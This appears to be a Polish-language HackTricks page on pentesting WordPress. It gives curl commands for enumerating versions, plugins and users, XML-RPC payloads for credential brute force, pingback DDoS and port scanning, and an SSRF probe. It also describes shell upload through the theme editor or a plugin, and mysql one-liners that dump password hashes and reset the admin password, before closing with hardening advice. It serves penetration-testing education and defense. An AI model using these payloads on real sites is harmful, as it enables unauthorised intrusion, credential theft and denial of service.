21 KiB
Wordpress
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud.
Użyj Trickest, aby łatwo tworzyć i automatyzować przepływy pracy z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie.
Otrzymaj dostęp już dziś:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
Podstawowe informacje
Przesłane pliki trafiają pod: http://10.10.10.10/wp-content/uploads/2018/08/a.txt
Pliki motywów można znaleźć w /wp-content/themes/, więc jeśli zmienisz pewne php motywu, aby uzyskać RCE, prawdopodobnie będziesz używać tej ścieżki. Na przykład: Korzystając z motywu twentytwelve możesz uzyskać dostęp do pliku 404.php pod adresem: /wp-content/themes/twentytwelve/404.php
Inny przydatny adres URL to: /wp-content/themes/default/404.php
W pliku wp-config.php znajdziesz hasło główne bazy danych.
Domyślne ścieżki logowania do sprawdzenia: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Główne pliki WordPress
index.php
license.txt
zawiera przydatne informacje, takie jak zainstalowana wersja WordPress.wp-activate.php
jest używany do procesu aktywacji e-maili podczas konfigurowania nowej witryny WordPress.- Foldery logowania (mogą być zmienione nazwy, aby je ukryć):
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
to plik reprezentujący funkcję WordPress, która umożliwia przesyłanie danych za pomocą HTTP jako mechanizmu transportu i XML jako mechanizmu kodowania. Ten rodzaj komunikacji został zastąpiony przez API REST WordPressa.- Folder
wp-content
to główny katalog, w którym przechowywane są wtyczki i motywy. wp-content/uploads/
to katalog, w którym przechowywane są wszystkie przesłane pliki na platformę.wp-includes/
to katalog, w którym przechowywane są pliki rdzenia, takie jak certyfikaty, czcionki, pliki JavaScript i widżety.wp-sitemap.xml
W wersjach WordPressa 5.5 i nowszych WordPress generuje plik XML mapy witryny z wszystkimi publicznymi wpisami i publicznie zapytywalnymi typami wpisów i taksonomiami.
Eksploatacja po zainfekowaniu
- Plik
wp-config.php
zawiera informacje wymagane przez WordPress do połączenia z bazą danych, takie jak nazwa bazy danych, host bazy danych, nazwa użytkownika i hasło, klucze autoryzacji i soli oraz prefiks tabeli bazy danych. Ten plik konfiguracyjny może również być używany do aktywowania trybu DEBUG, co może być przydatne podczas rozwiązywania problemów.
Uprawnienia użytkowników
- Administrator
- Redaktor: Publikuje i zarządza swoimi i innymi wpisami
- Autor: Publikuje i zarządza swoimi własnymi wpisami
- Współautor: Pisze i zarządza swoimi wpisami, ale nie może ich publikować
- Subskrybent: Przegląda wpisy i edytuje swój profil
Pasywne wyliczanie
Sprawdź wersję WordPressa
Sprawdź, czy możesz znaleźć pliki /license.txt
lub /readme.html
W kodzie źródłowym strony (przykład z https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
- Pliki linkujące CSS
- Pliki JavaScript
Pobierz wtyczki
{% code overflow="wrap" %}
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
{% endcode %}
Pobierz motywy
{% code overflow="wrap" %}
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
{% endcode %}
Wyodrębnianie wersji ogólnie
{% code overflow="wrap" %}
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
{% endcode %}
Użyj Trickest, aby łatwo budować i automatyzować przepływy pracy z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie.
Otrzymaj dostęp już dziś:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
Aktywna enumeracja
Wtyczki i Motywy
Prawdopodobnie nie będziesz w stanie znaleźć wszystkich możliwych Wtyczek i Motywów. Aby odkryć je wszystkie, będziesz musiał aktywnie przeprowadzić atak Brute Force na listę Wtyczek i Motywów (na szczęście istnieją narzędzia automatyzujące zawierające te listy).
Użytkownicy
Atak Brute Force na ID
Możesz uzyskać poprawnych użytkowników witryny WordPress poprzez przeprowadzenie ataku Brute Force na identyfikatory użytkowników:
curl -s -I -X GET http://blog.example.com/?author=1
Jeśli odpowiedzi to 200 lub 30X, oznacza to, że id jest poprawne. Jeśli odpowiedź to 400, oznacza to, że id jest nieprawidłowe.
wp-json
Możesz również spróbować uzyskać informacje o użytkownikach poprzez zapytanie:
curl http://blog.example.com/wp-json/wp/v2/users
Kolejny punkt końcowy /wp-json/
, który może ujawnić pewne informacje o użytkownikach to:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Zauważ, że ten punkt końcowy ujawnia tylko użytkowników, którzy opublikowali post. Dane będą udostępnione tylko dla użytkowników, którzy mają tę funkcję włączoną.
Zauważ również, że /wp-json/wp/v2/pages może ujawniać adresy IP.
Wyliczanie nazwy użytkownika logowania
Podczas logowania w /wp-login.php
komunikat jest inny, jeśli wskazana nazwa użytkownika istnieje czy nie.
XML-RPC
Jeśli xml-rpc.php
jest aktywny, można przeprowadzić atak siłowy na poświadczenia lub użyć go do uruchamiania ataków DoS na inne zasoby. (Możesz zautomatyzować ten proces korzystając z tego na przykład).
Aby sprawdzić, czy jest aktywny, spróbuj uzyskać dostęp do /xmlrpc.php i wyślij to żądanie:
Sprawdź
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Atak siłowy na dane uwierzytelniające
wp.getUserBlogs
, wp.getCategories
lub metaWeblog.getUsersBlogs
to niektóre z metod, które można wykorzystać do ataku siłowego na dane uwierzytelniające. Jeśli uda ci się znaleźć którąkolwiek z nich, możesz wysłać coś w stylu:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Wiadomość "Nieprawidłowa nazwa użytkownika lub hasło" w odpowiedzi kodu 200 powinna się pojawić, jeśli poświadczenia nie są poprawne.
Korzystając z poprawnych poświadczeń, możesz przesłać plik. W odpowiedzi pojawi się ścieżka (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Również istnieje szybszy sposób łamania poświadczeń za pomocą system.multicall
, ponieważ można wypróbować kilka poświadczeń w tej samej żądaniu:
Ominięcie 2FA
Ta metoda jest przeznaczona dla programów, a nie dla ludzi, i jest przestarzała, dlatego nie obsługuje 2FA. Dlatego jeśli masz ważne poświadczenia, ale główne wejście jest chronione przez 2FA, możesz próbować nadużyć xmlrpc.php, aby zalogować się tymi poświadczeniami, omijając 2FA. Należy zauważyć, że nie będziesz w stanie wykonać wszystkich działań, jakie możesz wykonać za pomocą konsoli, ale nadal możesz uzyskać dostęp do RCE, tak jak to wyjaśnia Ippsec w https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS lub skanowanie portów
Jeśli znajdziesz metodę pingback.ping na liście, możesz sprawić, że Wordpress wyśle dowolne żądanie do dowolnego hosta/portu.
Można to wykorzystać do zmuszenia tysięcy witryn Wordpress do dostępu do jednej lokalizacji (co powoduje DDoS w tej lokalizacji) lub można go użyć do skenowania pewnej wewnętrznej sieci Wordpressa (można wskazać dowolny port).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
Jeśli otrzymasz faultCode o wartości większej niż 0 (17), oznacza to, że port jest otwarty.
Przejrzyj użycie system.multicall
w poprzedniej sekcji, aby dowiedzieć się, jak nadużyć tej metody w celu spowodowania ataku DDoS.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
Ten plik zazwyczaj istnieje w głównym katalogu witryny Wordpress: /wp-cron.php
Kiedy ten plik jest odwoływany, wykonywane jest "ciężkie" zapytanie MySQL, dlatego może być wykorzystany przez atakujących do spowodowania ataku typu DoS.
Ponadto, domyślnie wp-cron.php
jest wywoływany przy każdym załadowaniu strony (za każdym razem, gdy klient żąda dowolnej strony Wordpress), co na witrynach o dużym ruchu może powodować problemy (DoS).
Zaleca się wyłączenie Wp-Cron i utworzenie prawdziwego zadania cron wewnątrz hosta, które będzie wykonywać wymagane czynności w regularnych odstępach czasu (bez powodowania problemów).
/wp-json/oembed/1.0/proxy - SSRF
Spróbuj uzyskać dostęp do https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net i witryna Worpress może wysłać do Ciebie żądanie.
To jest odpowiedź, gdy to nie działa:
SSRF
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
To narzędzie sprawdza, czy methodName: pingback.ping oraz ścieżka /wp-json/oembed/1.0/proxy istnieją, a jeśli tak, próbuje je wykorzystać.
Automatyczne Narzędzia
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Użyj Trickest, aby łatwo budować i automatyzować przepływy pracy z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie.
Otrzymaj dostęp już dziś:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
Uzyskaj dostęp, nadpisując jeden bit
Więcej niż rzeczywisty atak, to ciekawostka. W CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man można było zmienić 1 bit w dowolnym pliku WordPressa. Można było zmienić pozycję 5389
w pliku /var/www/html/wp-includes/user.php
, aby zastąpić operację NOT (!
) operacją NOP.
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
Modyfikacja pliku php z użyciem motywu (wymagane dane uwierzytelniające administratora)
Wygląd → Edytor motywów → Szablon 404 (po prawej stronie)
Zmień zawartość na php shell:
Znajdź w internecie, jak uzyskać dostęp do zaktualizowanej strony. W tym przypadku musisz uzyskać dostęp tutaj: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Możesz użyć:
use exploit/unix/webapp/wp_admin_shell_upload
Wtyczka RCE
Wtyczka PHP
Możliwe jest przesłanie plików .php jako wtyczki.
Utwórz swoje tylne drzwi w PHP, na przykład:
Następnie dodaj nową wtyczkę:
Prześlij wtyczkę i kliknij Zainstaluj teraz:
Kliknij na Przetwórz:
Prawdopodobnie na pierwszy rzut oka nic się nie stanie, ale jeśli przejdziesz do Mediów, zobaczysz przesłane tylne drzwi:
Otwórz je i zobaczysz adres URL do wykonania odwróconego powłoki:
Przesyłanie i aktywowanie złośliwej wtyczki
Ta metoda polega na zainstalowaniu złośliwej wtyczki, która jest znana z podatności i może być wykorzystana do uzyskania powłoki sieciowej. Proces ten odbywa się za pośrednictwem pulpitu WordPress, zgodnie z poniższymi krokami:
- Pobieranie Wtyczki: Wtyczka jest pobierana z takiego źródła jak Exploit DB, na przykład tutaj.
- Instalacja Wtyczki:
- Przejdź do pulpitu WordPress, następnie udaj się do
Pulpit > Wtyczki > Prześlij wtyczkę
. - Prześlij plik zip pobranej wtyczki.
- Aktywacja Wtyczki: Po pomyślnej instalacji wtyczki, musi zostać aktywowana poprzez pulpit.
- Wykorzystanie:
- Po zainstalowaniu i aktywowaniu wtyczki "reflex-gallery", można ją wykorzystać, ponieważ jest znana z podatności.
- Framework Metasploit udostępnia exploit dla tej podatności. Poprzez załadowanie odpowiedniego modułu i wykonanie określonych poleceń, można ustanowić sesję meterpreter, umożliwiając nieautoryzowany dostęp do witryny.
- Warto zauważyć, że jest to tylko jedna z wielu metod wykorzystania witryny WordPress.
Zawartość obejmuje pomoc wizualną przedstawiającą kroki w pulpicie WordPress dotyczące instalacji i aktywacji wtyczki. Jednak ważne jest zauważenie, że wykorzystywanie podatności w ten sposób jest nielegalne i niestosowne bez odpowiedniej autoryzacji. Te informacje powinny być używane odpowiedzialnie i tylko w kontekście legalnym, na przykład podczas testów penetracyjnych z wyraźną zgodą.
Aby uzyskać bardziej szczegółowe kroki, sprawdź: https://www.hackingarticles.in/wordpress-reverse-shell/**
Post Eksploatacja
Wyciągnij nazwy użytkowników i hasła:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Zmień hasło administratora:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Ochrona WordPressa
Regularne Aktualizacje
Upewnij się, że WordPress, wtyczki i motywy są aktualne. Potwierdź również, że automatyczne aktualizacje są włączone w pliku wp-config.php:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Tylko instaluj zaufane wtyczki i motywy WordPress.
Wtyczki zabezpieczeń
Inne zalecenia
- Usuń domyślnego użytkownika admin
- Używaj mocnych haseł i 2FA
- Okresowo sprawdzaj uprawnienia użytkowników
- Ogranicz liczbę prób logowania w celu zapobieżenia atakom Brute Force
- Zmień nazwę pliku
wp-admin.php
i zezwalaj na dostęp tylko wewnętrznie lub z określonych adresów IP.
Korzystaj z Trickest, aby łatwo budować i automatyzować przepływy pracy z wykorzystaniem najbardziej zaawansowanych narzędzi społeczności na świecie.
Otrzymaj dostęp już dziś:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Kup oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.